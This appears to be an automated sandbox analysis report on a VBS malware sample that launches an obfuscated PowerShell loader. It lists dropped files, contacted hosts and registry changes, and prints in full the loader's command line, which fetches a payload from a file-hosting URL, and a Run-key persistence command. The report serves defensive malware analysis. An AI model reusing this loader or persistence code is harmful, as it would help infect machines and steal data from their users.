Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
TRANSPORT_INSTRUCTION_MR.vbs
|
ASCII text, with CRLF line terminators
|
initial sample
|
 |
|
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
modified
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_32evix11.5qn.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3v31mlpq.rdr.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kuoyq1zo.i03.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pejvmc3m.thk.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Roaming\Prehatred.Fid
|
ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TRANSPORT_INSTRUCTION_MR.vbs"
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Riffelgange = 1;$Authorish='Substrin';$Authorish+='g';Function
Shockhead($Kaputt){$Spisefrikvarterernes=$Kaputt.Length-$Riffelgange;For($Ratihabumr=5; $Ratihabumr -lt $Spisefrikvarterernes;
$Ratihabumr+=(6)){$Udsagnsleddenes+=$Kaputt.$Authorish.Invoke($Ratihabumr, $Riffelgange);}$Udsagnsleddenes;}function sabotage($Velal){&
($Tanquelinian) ($Velal);}$Greenheart=Shockhead 'OutraMIndowoAigrezBestoiSkspolMusikl ,utsa Brne/Gr.nd5.itin.Afdel0Up,ai Zw
ng(SynapWNjereiCoresnD,agsdTosdeoHerrgwkroe sbil,e .runeNStrafTPraec Forma1Myoli0The,m. Bort0Opfi,;Enkel Arch,WIrradiObsern
Kyst6.odra4Banju; eval For axUdban6Czare4Spat ;under TayerrUnd,iv tred:M.ckb1Jacqu2Maime1 Seri.Deesk0Allop) Brad BeregGHemodeSalewc
DiskkRandmoVolit/ Qu z2 Kruk0Fo.nu1Ordfo0 enio0,anlo1jetst0Invas1Gaska Knif.FS criiRgerirGillyeStridf Toitovexdex.nnek/Gener1Orke.2minst1Bo.it.
,eha0Dia,o ';$Feline=Shockhead 'StripUOverts PoliegalehrOsobe-ForaaASkinkgOmgiveEnwinnSanc tJinri ';$ostler=Shockhead 'goo,whKvikkt
Nikot ousp udstsNemme:Ha dw/Tjles/GorvadAntiprChivei Sie.vKontreDansk.FellygPrivaoP eezoViolig B,dflAmpeleO var.IsospcSubtroMowbumJacke/Tilbau
VictcOpsge?RibboeTurp.xI,prgpTelevoHofchrhavait pakk= NurtdbearloTrevewPutnanFu,ill.resuoextena SpirdSe vi& SundiHistodManja=
Allo1FrugthEncheJ estyNymphvNucl gappasAA ninV U.pebPoachPUgtetJJol,e7 .eww5Lob.tW TyphNEndomnAnalyYharmem AliqHadvenv Al
ypTurnuQGenerDKropskNy.tiE.nobs9 WindK BeunTMon sfapoloZDisozPSnesksAfvaekInte ';$Olympier=Shockhead 'Det r>R dio ';$Tanquelinian=Shockhead
'Succei,nackeFascixCiv l ';$Aminobenzamide = Shockhead 'PreloeForcec FilihGuelpoNone. B cki%B,ahmainterpInserpBrunldUd rmaAnd.lt
KarbaAquar% Bri.\ kattPBlodrrIndhoe MonahNav,ea,egiststr,irmocame B lldAfsky.Unc.vFDomsfiJav.ldRevi Oc.i&Stnne&Chrys Skrine
OvercHendehMelleoDm,ni Tritu$ sept ';sabotage (Shockhead 'Bigba$Storhg R,tilTrim oUnadvb DissaSamm.lCr,nk: CecoAForemaKi,kenUnfledSportePsychlToledyBramsdTan
eeNrga nSmaafs Exce=rotte(T.skncB dummvalerdDelib Demat/InaudcBiogr Fa el$WretcAnormam ForsiEnneanmidnio ColebUnexteKlonen
undsz SkumaBevilmTvrf i DestdFlexueB,lim)Adnot ');sabotage (Shockhead 'Form.$WienegPal.nlAlleyoballobEnedia BlgelStyre:ExpouUSchoon,mbets
EngahLydliu Hel.nK.tukn.kraleUn.erdAlcoh=Overf$,iurooNaticsK,loltDimpll S,mieDann rforgl.Oplgns ominp DubblafgrsiGangat alsr(U
orb$musheOGl.cilOrdney nordmTeorip iploi,ympae HeltrBeta )Fresn ');$ostler=$Unshunned[0];sabotage (Shockhead 'Super$Ups agHeterlPal.to
Smelb Br.aaParanl mikr:SloucMHasareWhalesFrdigsPentaa Gen.nEvitisVirag=RadioNAitche G,unwPeete-Prea,Odykkeb Ma sj.verbeH kkecAnl,st
Phy. UdbarS,eceny,emuns FiprtMelame Klipmalkef..vnbyN UrokeSaltatEndur.samarWStavneAp,erbDikotCUnderl TrokiInj reStudenStrimtDowse
');sabotage (Shockhead 'Rigni$A ticMEjende Be nslichestraneaTono,nGgesnsGerma.,etalHW.noneThereabeford emme strorPhi.os klo,[Joint$biskuFforbieShor.l
YletimockinBoge,eBe.ne] Band=Kam a$ UncoGStul,rTendieIdeykeSyrefnInd ahTeknoeLukkeaReregrHa.dwtTil e ');$Cleanliness=Shockhead
'E strMNoiseePlantsDi.kmsFre.saStolpnOverpsH lvb.Skad DArb,joWaii,wGlucinFirdol,arsnoavoweaForlfdSacriF LipoiTherelKashreOverc(Reinq$Bred.oNoncosDiffetAtomml
orue erfrSubj,,Brand$,ontrAUdadldEnspnvColumeF.rier IntetSto.eiSnow,s OveresortemhulheeFluatn ForbtDegl,) Letf ';$Cleanliness=$Aandelydens[1]+$Cleanliness;$Advertisement=$Aandelydens[0];sabotage
(Shockhead 'ba ka$KonsogMallol,eeamoLng rbSt.dfa Extrl Oper:Mou tS Enc,tUninwoDyskimLbrikaNoveltS ppeoBemedlVejfoaDyrknlSikkeiAnv,la
Cami=C arm( st pTValu.eLdst.sMandot re,l-Al.egP Cafaa KnaptMismohUneva assai$ St.lA BobsdTonsuvSu.ere.ruitrflerbtGrammi ReexsBantaeKreatmHonoreSubconYn,eftNosta)Solis
');while (!$Stomatolalia) {sabotage (Shockhead 'M,ner$aj.urgTilstlTr eroNedkabchemiaunm,rlRecto:Maar,BPol.teUnscokImpotlHeltiiWestfpFranc=Infor$UdskytForvar
GypsuBjer.eK ini ') ;sabotage $Cleanliness;sabotage (Shockhead 'EnegnSO,erbtTilh,a UngerHjemmtAutoc-SikkeSGrundlBeboeeBiog.eTerrapBrati
Kolpo4Hawai ');sabotage (Shockhead 'Forva$Afvasg sturl UnseoMuni.bArlasaBalallj.mre:CalviS Be ttHy.peoAnti.mVidera CalltLandgo,antal
Toasa Li.glWatchiCunctaEx,re=Aflgg( SamvT Ov reHvilesPartntSleet-SildePJohnsaLsthnt Sarchsteti Farv$PhysiAAbekad aardv AfteeH.venr
EkmatCatariRosels,ttene E.ytmBoligeBoomenBiltytOlied),veri ') ;sabotage (Shockhead 'Fo,pe$TekstgpratflExotioKandebAceraaIsledlQuais:Emo.lCIrrefoPrecafFor.kfRrblaeordinyAnth
=ingur$Dyre,g ,inulLi,teoDispeb K,lma PostlTitle:HofdaOPodopv Lim.eHum ir BayehNybago.akkenWebsaoFradruKosmor EtmasUdvan+
n,pp+Capit%jutta$MakulU Ov rnPullisSam.ehHv eluS.nksnPlattnTrakte MudkdFeist. Iv ncAbortoOpkaluCoop.nOrdgytBanko ') ;$ostler=$Unshunned[$Coffey];}sabotage
(Shockhead 'Foelg$ H,stgO.twilBumblo AktibSardiaB vrtlstrig:elusiHSkattiBuncen Undek ,aadeBe tysGravm1Beho 7Foeta1Ha wa Disp=Unill
Saa,bG ,alle Sjl.tDelim-KloniCAeroto SpronAmorttMatloeProrinRegertNvnel Annbe$CainoADigitdPr hiv Il.ee,eboer Scabtremaii.usyisTilvreVariamMiddae,eeksnParont
Seme ');sabotage (Shockhead 'consp$ Ser,gHe,orlWron,oReplibFleksaLev.fl Tent: L.goOCheekpTr.tehc.leuiBetr d Unifsopsk e IndilTrills
UklaeGenopnPrlu sDisas Fdsel=Nable Fjeli[Cere SF,rpuy.attesAnnuat Bu geMirakm Fora.VidebCOctaeoSemihnEx,riv NosteVeterrLagentLo,ts]
Lgel: Irid:RepavF KalvrLophoo Mon.mIbskaB I poaKlagesU suleTekn 6 ar e4skattSCo,metSldehrPlanfi TriknWingegal yl(Tnkba$ Ge,sHUnpoliFortrnTilfrkTitoieM.sors
uss1Pente7B.and1Liter)Fors ');sabotage (Shockhead 'A,ure$QuadrgHe milCrysto UndebGrid,a RkenlSvar,:,ndelS tereaSk,tkuTaster
SteriFawe ePsyk.sBalla T,igg=Enspr Q,atr[Nj.gtSBrne yTotemsWiljatRombleVek emFa.rd.JaspiT Fu,deSuffex,verdt M.te.HydroE CsiunBarnecanvenoIn
uidTr nsiReg.on QuargKonse]Frike:Infel:.warfApatroSLe.trCAlimeIMaeglIFe ch.NeuraGReposecoun,t FligSAlchetPleber Pag.izairen
Spi,g R,nt(Festr$RemoiO Karbp TakthLe.ali ocktdt,kkes Prusedksmal ndes L,mieUndecnekspos Skib)Ekspe ');sabotage (Shockhead
'Innov$An lag AblulYaqonoEquilbAm.slaPhotolArthr: TrygNHjemmoBlaatn Sce cPleaclSprezaErklrrSyreriHestefStandiUnhoscSergeaInan
t S.ediKonjuoHaandn Spl =unpro$CrackSRdklka,rithuC,nalrAbsoliGtesee SchesKawc,.Pumpesharddu B sibP ncrsSi,tetChilarKamali.lygtnDirekg
Sve.( retn2irreg9Coldc0.enua6sankt9M,jem7Forma, bes.2 Coll9Kopul4Detri5 Ner 0Trium)Opsl, ');sabotage $Nonclarification;"
|
|
|
|
C:\Windows\System32\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Prehatred.Fid && echo $"
|
|
|
|
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Riffelgange = 1;$Authorish='Substrin';$Authorish+='g';Function
Shockhead($Kaputt){$Spisefrikvarterernes=$Kaputt.Length-$Riffelgange;For($Ratihabumr=5; $Ratihabumr -lt $Spisefrikvarterernes;
$Ratihabumr+=(6)){$Udsagnsleddenes+=$Kaputt.$Authorish.Invoke($Ratihabumr, $Riffelgange);}$Udsagnsleddenes;}function sabotage($Velal){&
($Tanquelinian) ($Velal);}$Greenheart=Shockhead 'OutraMIndowoAigrezBestoiSkspolMusikl ,utsa Brne/Gr.nd5.itin.Afdel0Up,ai Zw
ng(SynapWNjereiCoresnD,agsdTosdeoHerrgwkroe sbil,e .runeNStrafTPraec Forma1Myoli0The,m. Bort0Opfi,;Enkel Arch,WIrradiObsern
Kyst6.odra4Banju; eval For axUdban6Czare4Spat ;under TayerrUnd,iv tred:M.ckb1Jacqu2Maime1 Seri.Deesk0Allop) Brad BeregGHemodeSalewc
DiskkRandmoVolit/ Qu z2 Kruk0Fo.nu1Ordfo0 enio0,anlo1jetst0Invas1Gaska Knif.FS criiRgerirGillyeStridf Toitovexdex.nnek/Gener1Orke.2minst1Bo.it.
,eha0Dia,o ';$Feline=Shockhead 'StripUOverts PoliegalehrOsobe-ForaaASkinkgOmgiveEnwinnSanc tJinri ';$ostler=Shockhead 'goo,whKvikkt
Nikot ousp udstsNemme:Ha dw/Tjles/GorvadAntiprChivei Sie.vKontreDansk.FellygPrivaoP eezoViolig B,dflAmpeleO var.IsospcSubtroMowbumJacke/Tilbau
VictcOpsge?RibboeTurp.xI,prgpTelevoHofchrhavait pakk= NurtdbearloTrevewPutnanFu,ill.resuoextena SpirdSe vi& SundiHistodManja=
Allo1FrugthEncheJ estyNymphvNucl gappasAA ninV U.pebPoachPUgtetJJol,e7 .eww5Lob.tW TyphNEndomnAnalyYharmem AliqHadvenv Al
ypTurnuQGenerDKropskNy.tiE.nobs9 WindK BeunTMon sfapoloZDisozPSnesksAfvaekInte ';$Olympier=Shockhead 'Det r>R dio ';$Tanquelinian=Shockhead
'Succei,nackeFascixCiv l ';$Aminobenzamide = Shockhead 'PreloeForcec FilihGuelpoNone. B cki%B,ahmainterpInserpBrunldUd rmaAnd.lt
KarbaAquar% Bri.\ kattPBlodrrIndhoe MonahNav,ea,egiststr,irmocame B lldAfsky.Unc.vFDomsfiJav.ldRevi Oc.i&Stnne&Chrys Skrine
OvercHendehMelleoDm,ni Tritu$ sept ';sabotage (Shockhead 'Bigba$Storhg R,tilTrim oUnadvb DissaSamm.lCr,nk: CecoAForemaKi,kenUnfledSportePsychlToledyBramsdTan
eeNrga nSmaafs Exce=rotte(T.skncB dummvalerdDelib Demat/InaudcBiogr Fa el$WretcAnormam ForsiEnneanmidnio ColebUnexteKlonen
undsz SkumaBevilmTvrf i DestdFlexueB,lim)Adnot ');sabotage (Shockhead 'Form.$WienegPal.nlAlleyoballobEnedia BlgelStyre:ExpouUSchoon,mbets
EngahLydliu Hel.nK.tukn.kraleUn.erdAlcoh=Overf$,iurooNaticsK,loltDimpll S,mieDann rforgl.Oplgns ominp DubblafgrsiGangat alsr(U
orb$musheOGl.cilOrdney nordmTeorip iploi,ympae HeltrBeta )Fresn ');$ostler=$Unshunned[0];sabotage (Shockhead 'Super$Ups agHeterlPal.to
Smelb Br.aaParanl mikr:SloucMHasareWhalesFrdigsPentaa Gen.nEvitisVirag=RadioNAitche G,unwPeete-Prea,Odykkeb Ma sj.verbeH kkecAnl,st
Phy. UdbarS,eceny,emuns FiprtMelame Klipmalkef..vnbyN UrokeSaltatEndur.samarWStavneAp,erbDikotCUnderl TrokiInj reStudenStrimtDowse
');sabotage (Shockhead 'Rigni$A ticMEjende Be nslichestraneaTono,nGgesnsGerma.,etalHW.noneThereabeford emme strorPhi.os klo,[Joint$biskuFforbieShor.l
YletimockinBoge,eBe.ne] Band=Kam a$ UncoGStul,rTendieIdeykeSyrefnInd ahTeknoeLukkeaReregrHa.dwtTil e ');$Cleanliness=Shockhead
'E strMNoiseePlantsDi.kmsFre.saStolpnOverpsH lvb.Skad DArb,joWaii,wGlucinFirdol,arsnoavoweaForlfdSacriF LipoiTherelKashreOverc(Reinq$Bred.oNoncosDiffetAtomml
orue erfrSubj,,Brand$,ontrAUdadldEnspnvColumeF.rier IntetSto.eiSnow,s OveresortemhulheeFluatn ForbtDegl,) Letf ';$Cleanliness=$Aandelydens[1]+$Cleanliness;$Advertisement=$Aandelydens[0];sabotage
(Shockhead 'ba ka$KonsogMallol,eeamoLng rbSt.dfa Extrl Oper:Mou tS Enc,tUninwoDyskimLbrikaNoveltS ppeoBemedlVejfoaDyrknlSikkeiAnv,la
Cami=C arm( st pTValu.eLdst.sMandot re,l-Al.egP Cafaa KnaptMismohUneva assai$ St.lA BobsdTonsuvSu.ere.ruitrflerbtGrammi ReexsBantaeKreatmHonoreSubconYn,eftNosta)Solis
');while (!$Stomatolalia) {sabotage (Shockhead 'M,ner$aj.urgTilstlTr eroNedkabchemiaunm,rlRecto:Maar,BPol.teUnscokImpotlHeltiiWestfpFranc=Infor$UdskytForvar
GypsuBjer.eK ini ') ;sabotage $Cleanliness;sabotage (Shockhead 'EnegnSO,erbtTilh,a UngerHjemmtAutoc-SikkeSGrundlBeboeeBiog.eTerrapBrati
Kolpo4Hawai ');sabotage (Shockhead 'Forva$Afvasg sturl UnseoMuni.bArlasaBalallj.mre:CalviS Be ttHy.peoAnti.mVidera CalltLandgo,antal
Toasa Li.glWatchiCunctaEx,re=Aflgg( SamvT Ov reHvilesPartntSleet-SildePJohnsaLsthnt Sarchsteti Farv$PhysiAAbekad aardv AfteeH.venr
EkmatCatariRosels,ttene E.ytmBoligeBoomenBiltytOlied),veri ') ;sabotage (Shockhead 'Fo,pe$TekstgpratflExotioKandebAceraaIsledlQuais:Emo.lCIrrefoPrecafFor.kfRrblaeordinyAnth
=ingur$Dyre,g ,inulLi,teoDispeb K,lma PostlTitle:HofdaOPodopv Lim.eHum ir BayehNybago.akkenWebsaoFradruKosmor EtmasUdvan+
n,pp+Capit%jutta$MakulU Ov rnPullisSam.ehHv eluS.nksnPlattnTrakte MudkdFeist. Iv ncAbortoOpkaluCoop.nOrdgytBanko ') ;$ostler=$Unshunned[$Coffey];}sabotage
(Shockhead 'Foelg$ H,stgO.twilBumblo AktibSardiaB vrtlstrig:elusiHSkattiBuncen Undek ,aadeBe tysGravm1Beho 7Foeta1Ha wa Disp=Unill
Saa,bG ,alle Sjl.tDelim-KloniCAeroto SpronAmorttMatloeProrinRegertNvnel Annbe$CainoADigitdPr hiv Il.ee,eboer Scabtremaii.usyisTilvreVariamMiddae,eeksnParont
Seme ');sabotage (Shockhead 'consp$ Ser,gHe,orlWron,oReplibFleksaLev.fl Tent: L.goOCheekpTr.tehc.leuiBetr d Unifsopsk e IndilTrills
UklaeGenopnPrlu sDisas Fdsel=Nable Fjeli[Cere SF,rpuy.attesAnnuat Bu geMirakm Fora.VidebCOctaeoSemihnEx,riv NosteVeterrLagentLo,ts]
Lgel: Irid:RepavF KalvrLophoo Mon.mIbskaB I poaKlagesU suleTekn 6 ar e4skattSCo,metSldehrPlanfi TriknWingegal yl(Tnkba$ Ge,sHUnpoliFortrnTilfrkTitoieM.sors
uss1Pente7B.and1Liter)Fors ');sabotage (Shockhead 'A,ure$QuadrgHe milCrysto UndebGrid,a RkenlSvar,:,ndelS tereaSk,tkuTaster
SteriFawe ePsyk.sBalla T,igg=Enspr Q,atr[Nj.gtSBrne yTotemsWiljatRombleVek emFa.rd.JaspiT Fu,deSuffex,verdt M.te.HydroE CsiunBarnecanvenoIn
uidTr nsiReg.on QuargKonse]Frike:Infel:.warfApatroSLe.trCAlimeIMaeglIFe ch.NeuraGReposecoun,t FligSAlchetPleber Pag.izairen
Spi,g R,nt(Festr$RemoiO Karbp TakthLe.ali ocktdt,kkes Prusedksmal ndes L,mieUndecnekspos Skib)Ekspe ');sabotage (Shockhead
'Innov$An lag AblulYaqonoEquilbAm.slaPhotolArthr: TrygNHjemmoBlaatn Sce cPleaclSprezaErklrrSyreriHestefStandiUnhoscSergeaInan
t S.ediKonjuoHaandn Spl =unpro$CrackSRdklka,rithuC,nalrAbsoliGtesee SchesKawc,.Pumpesharddu B sibP ncrsSi,tetChilarKamali.lygtnDirekg
Sve.( retn2irreg9Coldc0.enua6sankt9M,jem7Forma, bes.2 Coll9Kopul4Detri5 Ner 0Trium)Opsl, ');sabotage $Nonclarification;"
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Prehatred.Fid && echo $"
|
|
|
|
C:\Program Files (x86)\Windows Mail\wab.exe
|
"C:\Program Files (x86)\windows mail\wab.exe"
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Andelsbevaegelsen" /t REG_EXPAND_SZ
/d "%Before110% -w 1 $Tohndig=(Get-ItemProperty -Path 'HKCU:\Dirigent\').skemaformernes;%Before110% ($Tohndig)"
|
|
|
|
C:\Windows\System32\wbem\WmiPrvSE.exe
|
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
|
||
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\SysWOW64\reg.exe
|
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Andelsbevaegelsen" /t REG_EXPAND_SZ /d "%Before110% -w
1 $Tohndig=(Get-ItemProperty -Path 'HKCU:\Dirigent\').skemaformernes;%Before110% ($Tohndig)"
|
There are 1 hidden processes, click here to show them.
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
|
|
|
https://api.ipify.org/
|
104.26.13.205
|
||
|
https://www.google.com
|
unknown
|
||
|
http://nuget.org/NuGet.exe
|
unknown
|
||
|
http://drive.usercontent.google.com
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
|
https://go.micro
|
unknown
|
||
|
https://contoso.com/
|
unknown
|
||
|
https://nuget.org/nuget.exe
|
unknown
|
||
|
https://contoso.com/License
|
unknown
|
||
|
https://contoso.com/Icon
|
unknown
|
||
|
https://drive.googP
|
unknown
|
||
|
https://drive.google.com
|
unknown
|
||
|
https://drive.usercontent.googh
|
unknown
|
||
|
https://drive.usercontent.google.com
|
unknown
|
||
|
http://drive.google.com
|
unknown
|
||
|
https://aka.ms/pscore68
|
unknown
|
||
|
https://apis.google.com
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
|
http://crl.v
|
unknown
|
||
|
https://github.com/Pester/Pester
|
unknown
|
||
|
http://ip-api.com/line/?fields=hosting
|
208.95.112.1
|
There are 12 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
bg.microsoft.map.fastly.net
|
199.232.210.172
|
||
|
drive.google.com
|
142.251.32.110
|
||
|
drive.usercontent.google.com
|
142.251.35.161
|
||
|
api.ipify.org
|
104.26.13.205
|
||
|
ip-api.com
|
208.95.112.1
|
||
|
mail.myhydropowered.com
|
unknown
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
142.251.35.161
|
drive.usercontent.google.com
|
United States
|
||
|
208.95.112.1
|
ip-api.com
|
United States
|
||
|
142.251.32.110
|
drive.google.com
|
United States
|
||
|
104.26.13.205
|
api.ipify.org
|
United States
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
||
|
HKEY_CURRENT_USER\Dirigent
|
skemaformernes
|
||
|
HKEY_CURRENT_USER\Environment
|
Before110
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASAPI32
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASAPI32
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASAPI32
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASAPI32
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASAPI32
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASAPI32
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASAPI32
|
FileDirectory
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASMANCS
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASMANCS
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASMANCS
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASMANCS
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASMANCS
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASMANCS
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\wab_RASMANCS
|
FileDirectory
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
Andelsbevaegelsen
|
There are 22 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
253F5000
|
trusted library allocation
|
page read and write
|
|
|
|
59B4000
|
trusted library allocation
|
page read and write
|
|
|
|
7365000
|
remote allocation
|
page execute and read and write
|
|
|
|
C025000
|
direct allocation
|
page execute and read and write
|
|
|
|
2541D000
|
trusted library allocation
|
page read and write
|
|
|
|
85F0000
|
direct allocation
|
page execute and read and write
|
|
|
|
26D56CF2000
|
trusted library allocation
|
page read and write
|
|
|
|
1D9961A0000
|
heap
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
263F6000
|
trusted library allocation
|
page read and write
|
||
|
B68000
|
heap
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
A56000
|
trusted library allocation
|
page execute and read and write
|
||
|
1D99630E000
|
heap
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
2C8E000
|
stack
|
page read and write
|
||
|
1D996153000
|
heap
|
page read and write
|
||
|
2D05000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF848EC0000
|
trusted library allocation
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
281A2000
|
trusted library allocation
|
page read and write
|
||
|
1D9962BA000
|
heap
|
page read and write
|
||
|
274DE000
|
heap
|
page read and write
|
||
|
1D994120000
|
heap
|
page read and write
|
||
|
26D474AB000
|
trusted library allocation
|
page read and write
|
||
|
45CC000
|
stack
|
page read and write
|
||
|
8640000
|
direct allocation
|
page read and write
|
||
|
A225000
|
direct allocation
|
page execute and read and write
|
||
|
1D996137000
|
heap
|
page read and write
|
||
|
1D9961A3000
|
heap
|
page read and write
|
||
|
1D9961AB000
|
heap
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
1D9962FB000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
F5723B3000
|
stack
|
page read and write
|
||
|
7FF849020000
|
trusted library allocation
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
1D996137000
|
heap
|
page read and write
|
||
|
7FF848FD0000
|
trusted library allocation
|
page execute and read and write
|
||
|
73CE000
|
stack
|
page read and write
|
||
|
1D995CB0000
|
heap
|
page read and write
|
||
|
1D9960F1000
|
heap
|
page read and write
|
||
|
7540000
|
trusted library allocation
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
71F9000
|
heap
|
page read and write
|
||
|
26D48ABD000
|
trusted library allocation
|
page read and write
|
||
|
1D9961E3000
|
heap
|
page read and write
|
||
|
30FD000
|
stack
|
page read and write
|
||
|
1D9968F5000
|
heap
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
7FF848EF6000
|
trusted library allocation
|
page execute and read and write
|
||
|
74C0000
|
trusted library allocation
|
page read and write
|
